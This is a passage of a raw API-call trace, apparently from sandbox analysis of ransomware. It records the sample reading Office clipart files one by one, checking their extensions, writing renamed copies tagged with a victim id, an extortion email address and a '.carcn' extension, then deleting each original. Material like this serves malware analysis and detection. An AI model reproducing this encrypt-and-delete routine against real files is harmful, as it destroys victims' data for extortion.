out: lpNewFilePointer=0x0) returned 1 [0270.759] SetEndOfFile (hFile=0x54c) returned 1 [0270.762] CloseHandle (hObject=0x54c) returned 1 [0270.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.764] lstrlenW (lpString=".doc") returned 4 [0270.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".docx") returned 5 [0270.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.764] lstrlenW (lpString=".pdf") returned 4 [0270.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".xls") returned 4 [0270.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.764] lstrlenW (lpString=".xlsx") returned 5 [0270.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.764] lstrlenW (lpString=".ppt") returned 4 [0270.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.764] lstrlenW (lpString=".zip") returned 4 [0270.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.764] lstrlenW (lpString=".rar") returned 4 [0270.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".bz2") returned 4 [0270.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".7z") returned 3 [0270.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.765] lstrlenW (lpString=".dbf") returned 4 [0270.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.765] lstrlenW (lpString=".1cd") returned 4 [0270.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.765] lstrlenW (lpString=".jpg") returned 4 [0270.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.765] lstrlenW (lpString=".doc") returned 4 [0270.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".docx") returned 5 [0270.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.765] lstrlenW (lpString=".pdf") returned 4 [0270.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".xls") returned 4 [0270.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.765] lstrlenW (lpString=".xlsx") returned 5 [0270.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.765] lstrlenW (lpString=".ppt") returned 4 [0270.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.766] lstrlenW (lpString=".zip") returned 4 [0270.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.766] lstrlenW (lpString=".rar") returned 4 [0270.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.766] lstrlenW (lpString=".bz2") returned 4 [0270.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.766] lstrlenW (lpString=".7z") returned 3 [0270.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.766] lstrlenW (lpString=".dbf") returned 4 [0270.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.766] lstrlenW (lpString=".1cd") returned 4 [0270.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0270.766] lstrlenW (lpString=".jpg") returned 4 [0270.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.766] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.766] lstrlenW (lpString="CRANE.WMF") returned 9 [0270.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0270.767] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=5270) returned 1 [0270.767] CloseHandle (hObject=0x54c) returned 1 [0270.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0270.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0270.768] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.768] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.049] GetLastError () returned 0x0 [0271.062] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1496, lpOverlapped=0x0) returned 1 [0271.064] WriteFile (in: hFile=0x374, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0271.066] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.066] WriteFile (in: hFile=0x374, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xe6, lpOverlapped=0x0) returned 1 [0271.066] SetEndOfFile (hFile=0x374) returned 1 [0271.066] CloseHandle (hObject=0x374) returned 1 [0271.066] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.066] SetEndOfFile (hFile=0x54c) returned 1 [0271.069] CloseHandle (hObject=0x54c) returned 1 [0271.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0271.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.071] lstrlenW (lpString=".doc") returned 4 [0271.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.071] lstrlenW (lpString=".docx") returned 5 [0271.071] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0271.071] lstrlenW (lpString=".pdf") returned 4 [0271.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.071] lstrlenW (lpString=".xls") returned 4 [0271.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.071] lstrlenW (lpString=".xlsx") returned 5 [0271.071] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0271.071] lstrlenW (lpString=".ppt") returned 4 [0271.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.071] lstrlenW (lpString=".zip") returned 4 [0271.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.072] lstrlenW (lpString=".rar") returned 4 [0271.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString=".bz2") returned 4 [0271.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString=".7z") returned 3 [0271.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.072] lstrlenW (lpString=".dbf") returned 4 [0271.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.072] lstrlenW (lpString=".1cd") returned 4 [0271.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.072] lstrlenW (lpString=".jpg") returned 4 [0271.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.072] lstrlenW (lpString=".doc") returned 4 [0271.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString=".docx") returned 5 [0271.072] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0271.072] lstrlenW (lpString=".pdf") returned 4 [0271.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.072] lstrlenW (lpString=".xls") returned 4 [0271.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.073] lstrlenW (lpString=".xlsx") returned 5 [0271.073] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0271.073] lstrlenW (lpString=".ppt") returned 4 [0271.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.073] lstrlenW (lpString=".zip") returned 4 [0271.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.073] lstrlenW (lpString=".rar") returned 4 [0271.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.073] lstrlenW (lpString=".bz2") returned 4 [0271.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.073] lstrlenW (lpString=".7z") returned 3 [0271.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.073] lstrlenW (lpString=".dbf") returned 4 [0271.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.073] lstrlenW (lpString=".1cd") returned 4 [0271.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0271.073] lstrlenW (lpString=".jpg") returned 4 [0271.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.073] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.074] lstrlenW (lpString="DD00117_.WMF") returned 12 [0271.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0271.074] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=31122) returned 1 [0271.075] CloseHandle (hObject=0x54c) returned 1 [0271.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0271.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0271.076] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.076] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.077] GetLastError () returned 0x0 [0271.077] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x7992, lpOverlapped=0x0) returned 1 [0271.101] WriteFile (in: hFile=0x374, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0271.103] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.103] WriteFile (in: hFile=0x374, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.103] SetEndOfFile (hFile=0x374) returned 1 [0271.103] CloseHandle (hObject=0x374) returned 1 [0271.103] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.103] SetEndOfFile (hFile=0x54c) returned 1 [0271.107] CloseHandle (hObject=0x54c) returned 1 [0271.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0271.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.108] lstrlenW (lpString=".doc") returned 4 [0271.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.109] lstrlenW (lpString=".docx") returned 5 [0271.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.109] lstrlenW (lpString=".pdf") returned 4 [0271.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.109] lstrlenW (lpString=".xls") returned 4 [0271.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.109] lstrlenW (lpString=".xlsx") returned 5 [0271.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.109] lstrlenW (lpString=".ppt") returned 4 [0271.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.109] lstrlenW (lpString=".zip") returned 4 [0271.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.109] lstrlenW (lpString=".rar") returned 4 [0271.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.109] lstrlenW (lpString=".bz2") returned 4 [0271.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.109] lstrlenW (lpString=".7z") returned 3 [0271.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.109] lstrlenW (lpString=".dbf") returned 4 [0271.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.109] lstrlenW (lpString=".1cd") returned 4 [0271.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.110] lstrlenW (lpString=".jpg") returned 4 [0271.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.110] lstrlenW (lpString=".doc") returned 4 [0271.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString=".docx") returned 5 [0271.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.110] lstrlenW (lpString=".pdf") returned 4 [0271.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString=".xls") returned 4 [0271.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.110] lstrlenW (lpString=".xlsx") returned 5 [0271.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.110] lstrlenW (lpString=".ppt") returned 4 [0271.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.110] lstrlenW (lpString=".zip") returned 4 [0271.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.110] lstrlenW (lpString=".rar") returned 4 [0271.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString=".bz2") returned 4 [0271.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.110] lstrlenW (lpString=".7z") returned 3 [0271.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.111] lstrlenW (lpString=".dbf") returned 4 [0271.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.111] lstrlenW (lpString=".1cd") returned 4 [0271.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0271.111] lstrlenW (lpString=".jpg") returned 4 [0271.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.111] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.111] lstrlenW (lpString="DD00234_.WMF") returned 12 [0271.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.145] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=29628) returned 1 [0271.145] CloseHandle (hObject=0x374) returned 1 [0271.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0271.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0271.146] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.146] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0271.147] GetLastError () returned 0x0 [0271.147] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0271.179] WriteFile (in: hFile=0x43c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0271.181] ReadFile (in: hFile=0x374, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.181] WriteFile (in: hFile=0x43c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.182] SetEndOfFile (hFile=0x43c) returned 1 [0271.182] CloseHandle (hObject=0x43c) returned 1 [0271.182] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.182] SetEndOfFile (hFile=0x374) returned 1 [0271.185] CloseHandle (hObject=0x374) returned 1 [0271.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 